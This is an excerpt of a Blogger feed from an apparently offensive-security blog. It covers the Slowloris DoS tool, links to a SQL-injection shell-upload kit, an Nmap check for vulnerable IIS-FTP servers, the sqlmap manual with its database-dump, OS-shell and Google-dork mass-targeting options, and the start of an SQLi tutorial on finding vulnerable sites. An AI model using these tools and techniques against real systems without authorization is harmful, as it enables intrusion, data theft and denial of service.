black;"&gt;slowloris&lt;/b&gt;.pl&lt;/b&gt;&lt;br /&gt;Issues: For a complete list of issues look at the Perl documentation,  which explains all of the things to think about when running this  denial of service attack.&lt;br /&gt;Thanks:  Thank you to John Kinsella for the help with threading and &lt;a href="http://ha.ckers.org/blog/about/"&gt;id&lt;/a&gt; and greyhat for help with  testing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Reference:&lt;/b&gt; &lt;br /&gt;http://ha.ckers.org/slowloris/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-6089498150619156220?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/6089498150619156220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=6089498150619156220' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6089498150619156220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6089498150619156220'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2010/01/slowloris-http-dos.html' title='Slowloris HTTP DoS'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-3695805203896922255</id><published>2009-10-20T09:11:00.000-07:00</published><updated>2009-10-20T13:40:01.688-07:00</updated><title type='text'>Uploading Shell Through SQL Injection [Into Outfile]</title><content type='html'>Uploading Shell Through SQL Injection [Into Outfile]&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/22917340/mysql_into_outfile.rar.html&lt;br /&gt;&lt;br /&gt;http://rapidshare.de/files/46569137/mysql_into_outfile.zip.html&lt;br /&gt;Pass: security-shell.ws&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-3695805203896922255?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/3695805203896922255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=3695805203896922255' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3695805203896922255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3695805203896922255'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/10/uploading-shell-through-sql-injection.html' title='Uploading Shell Through SQL Injection [Into Outfile]'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-3660022655883299890</id><published>2009-09-04T15:41:00.000-07:00</published><updated>2009-09-04T15:45:40.876-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><title type='text'>Detecting Vulnerable IIS-FTP Hosts Using Nmap</title><content type='html'>Based on an existing Nmap script, I quickly wrote a new one which performs the following actions:&lt;br /&gt;&lt;br /&gt;    * Check if anonymous sessions are allowed.&lt;br /&gt;    * Check if the detected FTP server is running Microsoft ftpd.&lt;br /&gt;    * Check if the MKDIR command is allowed (this seems to be required by the exploit)&lt;br /&gt;&lt;br /&gt;If all those conditions are met, the script exits with a warning message. Note that my script will only report servers which could be vulnerable. On the other side, running a server with anonymous users able to create directories is a major security breach and must be fixed independently of the newly discovered vulnerability!&lt;br /&gt;&lt;br /&gt;To use the Nmap script, copy it in your local script repositoty (something like /usr/local/share/nmap/scripts/) and rebuild your scripts index:&lt;br /&gt;&lt;br /&gt;# nmap --script-updatedb&lt;br /&gt;&lt;br /&gt;Then, the script will be executed against all detected FTP servers (using the “-Sc” argument) or you can specify only one script to be executed (for speed):&lt;br /&gt;&lt;font color=yellow&gt;&lt;br /&gt;# nmap -p 21 -sV --script=IIS-FTP 10.0.0.7&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST&lt;br /&gt;Interesting ports on test-win (10.0.0.7):&lt;br /&gt;PORT   STATE SERVICE VERSION&lt;br /&gt;21/tcp open  ftp     Microsoft ftpd&lt;br /&gt;|_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)&lt;br /&gt;Service Info: OS: Windows&lt;br /&gt;&lt;br /&gt;The script is available here. Note that it is provided “as is”. it’s just a quick hack which worked for me.&lt;br /&gt;&lt;br /&gt;Maybe you were not aware of the Nmap scripting capabilities. Feel free to read this small introduction to Nmap scripting.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://blog.rootshell.be/2009/09/01/detecting-vulnerable-iis-ftp-hosts-using-nmap/" target="_blank"&gt;http://blog.rootshell.be/2009/09/01/detecting-vulnerable-iis-ftp-hosts-using-nmap/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-3660022655883299890?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/3660022655883299890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=3660022655883299890' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3660022655883299890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3660022655883299890'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/09/detecting-vulnerable-iis-ftp-hosts.html' title='Detecting Vulnerable IIS-FTP Hosts Using Nmap'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-6096896352720706459</id><published>2009-08-23T10:12:00.000-07:00</published><updated>2009-08-23T10:37:25.571-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><title type='text'>sqlmap 0.7</title><content type='html'>Consider that the target url is:&lt;br /&gt;&lt;br /&gt;&lt;font color=royalblue&gt;    http://192.168.1.121/sqlmap/mysql/get_int.php?id=1 &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Assume that:&lt;br /&gt;&lt;br /&gt;&lt;font color=royalblue&gt;    http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1  &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;is the same page as the original one and:&lt;br /&gt;&lt;br /&gt;&lt;font color=royalblue&gt;    http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2  &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Usage&lt;/b&gt;&lt;br /&gt;$&lt;font color=lime&gt; python sqlmap.py -h &lt;/font&gt;&lt;br /&gt; &lt;br /&gt;    sqlmap/0.7&lt;br /&gt;    by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com&gt;&lt;br /&gt;    &lt;br /&gt;Usage: sqlmap.py [options]&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;  --version             show program's version number and exit&lt;br /&gt;  -h, --help            show this help message and exit&lt;br /&gt;  -v VERBOSE            Verbosity level: 0-5 (default 1)&lt;br /&gt;&lt;br /&gt;  Target:&lt;br /&gt;    At least one of these options has to be specified to set the source to&lt;br /&gt;    get target urls from.&lt;br /&gt;&lt;br /&gt;    -u URL, --url=URL   Target url&lt;br /&gt;    -l LIST             Parse targets from Burp or WebScarab logs&lt;br /&gt;    -g GOOGLEDORK       Process Google dork results as target urls&lt;br /&gt;    -c CONFIGFILE       Load options from a configuration INI file&lt;br /&gt;&lt;br /&gt;  Request:&lt;br /&gt;    These options can be used to specify how to connect to the target url.&lt;br /&gt;&lt;br /&gt;    --method=METHOD     HTTP method, GET or POST (default GET)&lt;br /&gt;    --data=DATA         Data string to be sent through POST&lt;br /&gt;    --cookie=COOKIE     HTTP Cookie header&lt;br /&gt;    --referer=REFERER   HTTP Referer header&lt;br /&gt;    --user-agent=AGENT  HTTP User-Agent header&lt;br /&gt;    -a USERAGENTSFILE   Load a random HTTP User-Agent header from file&lt;br /&gt;    --headers=HEADERS   Extra HTTP headers newline separated&lt;br /&gt;    --auth-type=ATYPE   HTTP Authentication type (value Basic or Digest)&lt;br /&gt;    --auth-cred=ACRED   HTTP Authentication credentials (value name:password)&lt;br /&gt;    --proxy=PROXY       Use a HTTP proxy to connect to the target url&lt;br /&gt;    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)&lt;br /&gt;    --delay=DELAY       Delay in seconds between each HTTP request&lt;br /&gt;    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)&lt;br /&gt;    --retries=RETRIES   Retries when the connection timeouts (default 3)&lt;br /&gt;&lt;br /&gt;  Injection:&lt;br /&gt;    These options can be used to specify which parameters to test for,&lt;br /&gt;    provide custom injection payloads and how to parse and compare HTTP&lt;br /&gt;    responses page content when using the blind SQL injection technique.&lt;br /&gt;&lt;br /&gt;    -p TESTPARAMETER    Testable parameter(s)&lt;br /&gt;    --dbms=DBMS         Force back-end DBMS to this value&lt;br /&gt;    --os=OS             Force back-end DBMS operating system to this value&lt;br /&gt;    --prefix=PREFIX     Injection payload prefix string&lt;br /&gt;    --postfix=POSTFIX   Injection payload postfix string&lt;br /&gt;    --string=STRING     String to match in page when the query is valid&lt;br /&gt;    --regexp=REGEXP     Regexp to match in page when the query is valid&lt;br /&gt;    --excl-str=ESTRING  String to be excluded before comparing page contents&lt;br /&gt;    --excl-reg=EREGEXP  Matches to be excluded before comparing page contents&lt;br /&gt;&lt;br /&gt;  Techniques:&lt;br /&gt;    These options can be used to test for specific SQL injection technique&lt;br /&gt;    or to use one of them to exploit the affected parameter(s) rather than&lt;br /&gt;    using the default blind SQL injection technique.&lt;br /&gt;&lt;br /&gt;    --stacked-test      Test for stacked queries (multiple statements) support&lt;br /&gt;    --time-test         Test for time based blind SQL injection&lt;br /&gt;    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)&lt;br /&gt;    --union-test        Test for UNION query (inband) SQL injection&lt;br /&gt;    --union-tech=UTECH  Technique to test for UNION query SQL injection&lt;br /&gt;    --union-use         Use the UNION query (inband) SQL injection to retrieve&lt;br /&gt;                        the queries output. No need to go blind&lt;br /&gt;&lt;br /&gt;  Fingerprint:&lt;br /&gt;    -f, --fingerprint   Perform an extensive DBMS version fingerprint&lt;br /&gt;&lt;br /&gt;  Enumeration:&lt;br /&gt;    These options can be used to enumerate the back-end database&lt;br /&gt;    management system information, structure and data contained in the&lt;br /&gt;    tables. Moreover you can run your own SQL statements.&lt;br /&gt;&lt;br /&gt;    -b, --banner        Retrieve DBMS banner&lt;br /&gt;    --current-user      Retrieve DBMS current user&lt;br /&gt;    --current-db        Retrieve DBMS current database&lt;br /&gt;    --is-dba            Detect if the DBMS current user is DBA&lt;br /&gt;    --users             Enumerate DBMS users&lt;br /&gt;    --passwords         Enumerate DBMS users password hashes (opt -U)&lt;br /&gt;    --privileges        Enumerate DBMS users privileges (opt -U)&lt;br /&gt;    --dbs               Enumerate DBMS databases&lt;br /&gt;    --tables            Enumerate DBMS database tables (opt -D)&lt;br /&gt;    --columns           Enumerate DBMS database table columns (req -T opt -D)&lt;br /&gt;    --dump              Dump DBMS database table entries (req -T, opt -D, -C)&lt;br /&gt;    --dump-all          Dump all DBMS databases tables entries&lt;br /&gt;    -D DB               DBMS database to enumerate&lt;br /&gt;    -T TBL              DBMS database table to enumerate&lt;br /&gt;    -C COL              DBMS database table column to enumerate&lt;br /&gt;    -U USER             DBMS user to enumerate&lt;br /&gt;    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables&lt;br /&gt;    --start=LIMITSTART  First query output entry to retrieve&lt;br /&gt;    --stop=LIMITSTOP    Last query output entry to retrieve&lt;br /&gt;    --sql-query=QUERY   SQL statement to be executed&lt;br /&gt;    --sql-shell         Prompt for an interactive SQL shell&lt;br /&gt;&lt;br /&gt;  File system access:&lt;br /&gt;    These options can be used to access the back-end database management&lt;br /&gt;    system underlying file system.&lt;br /&gt;&lt;br /&gt;    --read-file=RFILE   Read a file from the back-end DBMS file system&lt;br /&gt;    --write-file=WFILE  Write a local file on the back-end DBMS file system&lt;br /&gt;    --dest-file=DFILE   Back-end DBMS absolute filepath to write to&lt;br /&gt;&lt;br /&gt;  Operating system access:&lt;br /&gt;    This option can be used to access the back-end database management&lt;br /&gt;    system underlying operating system.&lt;br /&gt;&lt;br /&gt;    --os-cmd=OSCMD      Execute an operating system command&lt;br /&gt;    --os-shell          Prompt for an interactive operating system shell&lt;br /&gt;    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC&lt;br /&gt;    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC&lt;br /&gt;    --os-bof            Stored procedure buffer overflow exploitation&lt;br /&gt;    --priv-esc          User priv escalation by abusing Windows access tokens&lt;br /&gt;    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed&lt;br /&gt;    --tmp-path=TMPPATH  Remote absolute path of temporary files directory&lt;br /&gt;&lt;br /&gt;  Miscellaneous:&lt;br /&gt;    --eta               Display for each output the estimated time of arrival&lt;br /&gt;    --update            Update sqlmap to the latest stable version&lt;br /&gt;    -s SESSIONFILE      Save and resume all data retrieved on a session file&lt;br /&gt;    --save              Save options on a configuration INI file&lt;br /&gt;    --batch             Never ask for user input, use the default behaviour&lt;br /&gt;    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5.1 Output verbosity&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Option: -v&lt;br /&gt;&lt;br /&gt;Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 1 in which information, warnings, errors and tracebacks, if they occur, will be shown. Level 2 shows also debug messages, level 3 shows also HTTP requests with all HTTP headers sent, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.&lt;br /&gt;&lt;br /&gt;Example on a MySQL 5.0.67 target (verbosity level 1):&lt;br /&gt;&lt;br /&gt;    $ &lt;font color=lime&gt;python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 &lt;/font&gt;&lt;br /&gt;&lt;font color=aqua&gt;&lt;br /&gt;    [hh:mm:12] [INFO] testing connection to the target url&lt;br /&gt;    [hh:mm:12] [INFO] testing if the url is stable, wait a few seconds&lt;br /&gt;    [hh:mm:14] [INFO] url is stable&lt;br /&gt;    [hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic&lt;br /&gt;    [hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic&lt;br /&gt;    [hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic&lt;br /&gt;    [hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic&lt;br /&gt;    [hh:mm:14] [INFO] GET parameter 'id' is dynamic&lt;br /&gt;    [hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis&lt;br /&gt;    [hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'&lt;br /&gt;    [hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'&lt;br /&gt;    [hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis&lt;br /&gt;    [hh:mm:14] [INFO] testing for parenthesis on injectable parameter&lt;br /&gt;    [hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis&lt;br /&gt;    [hh:mm:14] [INFO] testing MySQL&lt;br /&gt;    [hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))&lt;br /&gt;    [hh:mm:14] [INFO] retrieved: 55&lt;br /&gt;    [hh:mm:14] [INFO] performed 20 queries in 0 seconds&lt;br /&gt;    [hh:mm:14] [INFO] confirming MySQL&lt;br /&gt;    [hh:mm:14] [INFO] query: LENGTH(CHAR(53))&lt;br /&gt;    [hh:mm:14] [INFO] retrieved: 1&lt;br /&gt;    [hh:mm:14] [INFO] performed 13 queries in 0 seconds&lt;br /&gt;    [hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1&lt;br /&gt;    [hh:mm:14] [INFO] retrieved: 5&lt;br /&gt;    [hh:mm:14] [INFO] performed 13 queries in 0 seconds&lt;br /&gt;&lt;font color=red&gt;    web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)&lt;br /&gt;    web application technology: PHP 5.2.6, Apache 2.2.9&lt;br /&gt;    back-end DBMS: MySQL &gt;= 5.0.0 &lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;To run sqlmap on a single target URL.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Example on a MySQL 5.0.67 target:&lt;br /&gt;&lt;br /&gt;    $ &lt;font color=lime&gt; python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;    [...]&lt;br /&gt;&lt;font color=red&gt;    web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)&lt;br /&gt;    web application technology: PHP 5.2.6, Apache 2.2.9&lt;br /&gt;    back-end DBMS: MySQL &gt;= 5.0.0&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Process Google dork results as target urls&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Option: -g&lt;br /&gt;&lt;br /&gt;It is also possible to test and inject on GET parameters on the results of your Google dork.&lt;br /&gt;&lt;br /&gt;This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.&lt;br /&gt;&lt;br /&gt;Example of Google dorking with expression site:yourdomain.com ext:php:&lt;br /&gt;&lt;br /&gt;    $ &lt;font color=lime&gt; python sqlmap.py -g "site:yourdomain.com ext:php" -v 1 &lt;/font&gt;&lt;br /&gt;&lt;font color=aqua&gt;&lt;br /&gt;    [hh:mm:38] [INFO] first request to Google to get the session cookie&lt;br /&gt;    [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are &lt;br /&gt;    testable hosts&lt;br /&gt;    [hh:mm:41] [INFO] sqlmap got a total of 59 targets&lt;br /&gt;    [hh:mm:40] [INFO] url 1:&lt;br /&gt;    GET http://yourdomain.com/example1.php?foo=12, do you want to test this &lt;br /&gt;    url? [y/N/q] n&lt;br /&gt;    [hh:mm:43] [INFO] url 2:&lt;br /&gt;    GET http://yourdomain.com/example2.php?bar=24, do you want to test this &lt;br /&gt;    url? [y/N/q] n&lt;br /&gt;    [hh:mm:42] [INFO] url 3:&lt;br /&gt;    GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you &lt;br /&gt;    want to test this url? [y/N/q] y&lt;br /&gt;    [hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483&lt;br /&gt;    [hh:mm:45] [INFO] testing if the url is stable, wait a few seconds&lt;br /&gt;    [hh:mm:49] [INFO] url is stable&lt;br /&gt;    [hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic&lt;br /&gt;    [hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic&lt;br /&gt;    [hh:mm:53] [INFO] GET parameter 'today' is dynamic&lt;br /&gt;    [hh:mm:54] [INFO] testing sql injection on GET parameter 'today'&lt;br /&gt;    [hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'&lt;br /&gt;    [hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'&lt;br /&gt;    [hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable&lt;br /&gt;    [...]&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;&lt;b&gt;HTTP proxy&lt;/b&gt;&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Option: --proxy&lt;br /&gt;&lt;br /&gt;It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is http://url:port.&lt;br /&gt;&lt;br /&gt;Example on a PostgreSQL 8.3.5 target:&lt;br /&gt;&lt;br /&gt;    $ &lt;font color=lime&gt;python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \&lt;br /&gt;      --proxy "http://192.168.1.47:3128" &lt;/font&gt;&lt;br /&gt;&lt;font color=aqua&gt;&lt;br /&gt;    [hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic&lt;br /&gt;    [hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic&lt;br /&gt;    [hh:mm:37] [WARNING] the back-end DMBS is not MySQL&lt;br /&gt;    [hh:mm:37] [WARNING] the back-end DMBS is not Oracle&lt;br /&gt;    back-end DBMS:    PostgreSQL&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:&lt;br /&gt;&lt;br /&gt;    $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \&lt;br /&gt;      --proxy "http://192.168.1.47:8118"&lt;br /&gt;&lt;br /&gt;Note that 8118 is the default Privoxy port, adapt it to your settings.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sqlmap.sourceforge.net/doc/README.html" target="_blank"&gt;http://sqlmap.sourceforge.net/doc/README.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-6096896352720706459?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/6096896352720706459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=6096896352720706459' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6096896352720706459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6096896352720706459'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/08/consider-that-target-url-is-http192.html' title='sqlmap 0.7'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4939215292668953070</id><published>2009-08-01T03:13:00.000-07:00</published><updated>2009-08-23T15:09:03.074-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><title type='text'>Interview Questions for Security/Network/Unix guy</title><content type='html'>&lt;a href="http://www.techinterviews.com/security-interview-questions-for-network-admin" target="_blank"&gt;http://www.techinterviews.com/security-interview-questions-for-network-admin&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.geekinterview.com/Interview-Questions/Networking/Networks-and-Security" target="_blank"&gt;http://www.geekinterview.com/Interview-Questions/Networking/Networks-and-Security&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://danielmiessler.com/blog/10-questions-to-ask-during-an-information-security-interview" target="_blank"&gt;http://danielmiessler.com/blog/10-questions-to-ask-during-an-information-security-interview&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-4939215292668953070?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/4939215292668953070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=4939215292668953070' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4939215292668953070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4939215292668953070'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/08/interview-questions-for.html' title='Interview Questions for Security/Network/Unix guy'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8862259398577798412</id><published>2009-07-23T00:43:00.000-07:00</published><updated>2009-07-23T00:51:57.149-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dns'/><title type='text'>Gathering DNS information</title><content type='html'>&lt;a href="http://searchdns.netcraft.com/?position=limited&amp;host=facebook.com" target="_blank"&gt;&lt;font color=royalblue&gt;http://searchdns.netcraft.com/?position=limited&amp;host=&lt;font color=red&gt;facebook.com&lt;/font&gt;&lt;/font&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8862259398577798412?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8862259398577798412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8862259398577798412' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8862259398577798412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8862259398577798412'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/07/gathering-dns-information.html' title='Gathering DNS information'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8376371945449740564</id><published>2009-07-14T22:38:00.000-07:00</published><updated>2010-09-28T03:28:40.620-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>rCom's SQLi Tutorial { reMix }</title><content type='html'>Contents At A Glance:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1. Introduction(Kinda Pointless)&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;2. Finding Vulnerable Sites.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;3. Getting Number of Columns.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;4. Getting MySQL Version.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;5. Getting Database Names.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;6. Getting Database User.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;7. Getting Table Names.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;8. Getting Column Names.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;9. LIMIT, What is it and why do I need to know it?&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;10. End Notes&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;1. Introduction(Kinda Pointless)&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;First, if you find that I have written something that is wrong, please address it and I will fix it. There is one simple reason why I am writing this paper, mainly because there are so many simple SQL Injection questions that flood this board everyday and people just simple say things like â€œLearn to use the search function.â€, â€œGoogle is your friendâ€, or some other just completely non-helpful remarks. If you aren't going to help someone why reply at all? Just go on to another thread. That doesn't even bring up the number of private messages that I receive daily with questions related to SQL Injection, on a slow day I receive 1-2 private messages, on a normal day I will get up to 10 with questions about SQL, or even â€œWhat is your MSN/Yahoo/AIM/E-Mail, I need help.â€ Most of the time I do try to help as much as I can, but it does get old too. Well, enough ranting here goes.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: orange;"&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;2. Finding Vulnerable 